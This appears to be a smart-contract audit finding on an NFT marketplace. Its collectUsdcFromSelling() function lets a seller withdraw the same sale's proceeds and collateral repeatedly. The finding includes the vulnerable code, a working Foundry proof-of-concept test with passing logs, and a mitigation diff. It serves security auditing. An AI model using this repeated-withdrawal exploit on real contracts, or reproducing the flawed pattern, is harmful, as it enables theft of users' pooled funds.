Description
-
Under the intended marketplace flow, a seller should be able to list an NFT, have a buyer purchase it, and then call collectUsdcFromSelling() exactly once to receive the sale proceeds plus the locked collateral minus fees. After that payout is settled, the sale should no longer be withdrawable.
-
The issue is that collectUsdcFromSelling() only checks whether the listing is inactive and whether msg.sender is the original seller, but it never marks the proceeds as claimed and never clears the collateral after a successful sale payout. As a result, the same seller can call collectUsdcFromSelling() multiple times for the same sold listing and repeatedly drain any new USDC that later accumulates in the contract.
struct Listing {
address seller;
uint32 price;
address nft;
uint256 tokenId;
bool isActive;
}
function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId) {
Listing memory listing = s_listings[_listingId];
require(!listing.isActive, "Listing must be inactive to collect USDC");
uint256 fees = _calculateFees(listing.price);
uint256 amountToSeller = listing.price - fees;
uint256 collateralToReturn = collateralForMinting[listing.tokenId];
totalFeesCollected += fees;
amountToSeller += collateralToReturn;
usdc.safeTransfer(address(this), fees);
usdc.safeTransfer(msg.sender, amountToSeller);
}
Risk
Likelihood: High
-
This occurs after any listing has been bought and the seller has successfully called collectUsdcFromSelling() once, because the contract still keeps the same inactive listing and the same collateral value available for future calls.
-
This occurs whenever fresh USDC later enters the contract through unrelated mints or purchases, because the repeated withdrawal pulls from the contract’s pooled balance rather than from funds isolated per sale.
Impact: High
-
A malicious or opportunistic seller can extract more USDC than they are entitled to from a single completed sale, causing direct loss of funds to the protocol or other users whose deposits remain in the contract.
-
The bug breaks sale finality and invalidates accounting assumptions around collateral and proceeds, making fee balances and user balances unreliable over time.
Proof of Concept
-
Add import {console2} from "forge-std/console2.sol"; at the top of NFTDealersTest.t.sol.
-
Copy the code below to NFTDealersTest contract.
-
Run command forge test --mt testRepeatedSellerWithdrawalsFromSameSale -vv.
function testRepeatedSellerWithdrawalsFromSameSale() public revealed whitelisted {
uint256 tokenId1 = 1;
uint32 salePrice = 1000e6;
uint256 fees = nftDealers.calculateFees(salePrice);
uint256 expectedPayout = uint256(salePrice) + nftDealers.lockAmount() - fees;
mintAndListNFTForTesting(tokenId1, salePrice);
vm.startPrank(userWithEvenMoreCash);
usdc.approve(address(nftDealers), salePrice);
nftDealers.buy(tokenId1);
vm.stopPrank();
vm.startPrank(userWithCash);
nftDealers.collectUsdcFromSelling(tokenId1);
uint256 sellerBalanceAfterFirstCollect = usdc.balanceOf(userWithCash);
uint256 contractBalanceAfterFirstCollect = usdc.balanceOf(address(nftDealers));
uint256 collateralAfterFirstCollect = nftDealers.collateralForMinting(tokenId1);
console2.log("fees:", fees);
console2.log("expectedPayout:", expectedPayout);
console2.log("sellerBalanceAfterFirstCollect:", sellerBalanceAfterFirstCollect);
console2.log("contractBalanceAfterFirstCollect:", contractBalanceAfterFirstCollect);
console2.log("collateralAfterFirstCollect:", collateralAfterFirstCollect);
assertEq(sellerBalanceAfterFirstCollect, expectedPayout);
assertEq(contractBalanceAfterFirstCollect, fees);
assertEq(
collateralAfterFirstCollect,
nftDealers.lockAmount(),
"BUG: collateral remains available after sale settlement"
);
usdc.approve(address(nftDealers), nftDealers.lockAmount());
nftDealers.mintNft();
nftDealers.list(2, salePrice);
uint256 sellerBalanceBeforeSecondCollect = usdc.balanceOf(userWithCash);
console2.log("sellerBalanceBeforeSecondCollect:", sellerBalanceBeforeSecondCollect);
vm.stopPrank();
vm.startPrank(userWithEvenMoreCash);
usdc.approve(address(nftDealers), salePrice);
nftDealers.buy(2);
vm.stopPrank();
uint256 contractBalanceBeforeSecondCollect = usdc.balanceOf(address(nftDealers));
console2.log("contractBalanceBeforeSecondCollect:", contractBalanceBeforeSecondCollect);
vm.prank(userWithCash);
nftDealers.collectUsdcFromSelling(tokenId1);
uint256 sellerBalanceAfterSecondCollect = usdc.balanceOf(userWithCash);
uint256 contractBalanceAfterSecondCollect = usdc.balanceOf(address(nftDealers));
console2.log("sellerBalanceAfterSecondCollect:", sellerBalanceAfterSecondCollect);
console2.log("contractBalanceAfterSecondCollect:", contractBalanceAfterSecondCollect);
assertEq(
sellerBalanceAfterSecondCollect,
sellerBalanceBeforeSecondCollect + expectedPayout,
"BUG: seller was able to withdraw proceeds from the same sale twice"
);
assertEq(
contractBalanceAfterSecondCollect,
contractBalanceBeforeSecondCollect - expectedPayout,
"BUG: repeated collect drained pooled contract funds"
);
}
Output:
[⠊] Compiling...
No files changed, compilation skipped
Ran 1 test for test/NFTDealersTest.t.sol:NFTDealersTest
[PASS] testRepeatedSellerWithdrawalsFromSameSale() (gas: 566496)
Logs:
fees: 10000000
expectedPayout: 1010000000
sellerBalanceAfterFirstCollect: 1010000000
contractBalanceAfterFirstCollect: 10000000
collateralAfterFirstCollect: 20000000
sellerBalanceBeforeSecondCollect: 990000000
contractBalanceBeforeSecondCollect: 1030000000
sellerBalanceAfterSecondCollect: 2000000000
contractBalanceAfterSecondCollect: 20000000
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.49ms (764.10µs CPU time)
Ran 1 test suite in 12.45ms (2.49ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
Recommended Mitigation
struct Listing {
address seller;
uint32 price;
address nft;
uint256 tokenId;
bool isActive;
+ bool wasSold;
+ bool proceedsClaimed;
}
function buy(uint256 _listingId) external payable {
Listing memory listing = s_listings[_listingId];
if (!listing.isActive) revert ListingNotActive(_listingId);
require(listing.seller != msg.sender, "Seller cannot buy their own NFT");
activeListingsCounter--;
bool success = usdc.transferFrom(msg.sender, address(this), listing.price);
require(success, "USDC transfer failed");
_safeTransfer(listing.seller, msg.sender, listing.tokenId, "");
s_listings[_listingId].isActive = false;
+ s_listings[_listingId].wasSold = true;
emit NFT_Dealers_Sold(msg.sender, listing.price);
}
function cancelListing(uint256 _listingId) external {
Listing memory listing = s_listings[_listingId];
if (!listing.isActive) revert ListingNotActive(_listingId);
require(listing.seller == msg.sender, "Only seller can cancel listing");
s_listings[_listingId].isActive = false;
+ s_listings[_listingId].wasSold = false;
activeListingsCounter--;
usdc.safeTransfer(listing.seller, collateralForMinting[listing.tokenId]);
collateralForMinting[listing.tokenId] = 0;
emit NFT_Dealers_ListingCanceled(_listingId);
}
function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId) {
Listing memory listing = s_listings[_listingId];
- require(!listing.isActive, "Listing must be inactive to collect USDC");
+ require(!listing.isActive, "Listing must be inactive to collect USDC");
+ require(listing.wasSold, "Listing was not sold");
+ require(!listing.proceedsClaimed, "Proceeds already claimed");
uint256 fees = _calculateFees(listing.price);
uint256 amountToSeller = listing.price - fees;
uint256 collateralToReturn = collateralForMinting[listing.tokenId];
+ // effects before interactions
+ s_listings[_listingId].proceedsClaimed = true;
+ collateralForMinting[listing.tokenId] = 0;
totalFeesCollected += fees;
amountToSeller += collateralToReturn;
- usdc.safeTransfer(address(this), fees);
usdc.safeTransfer(msg.sender, amountToSeller);
}
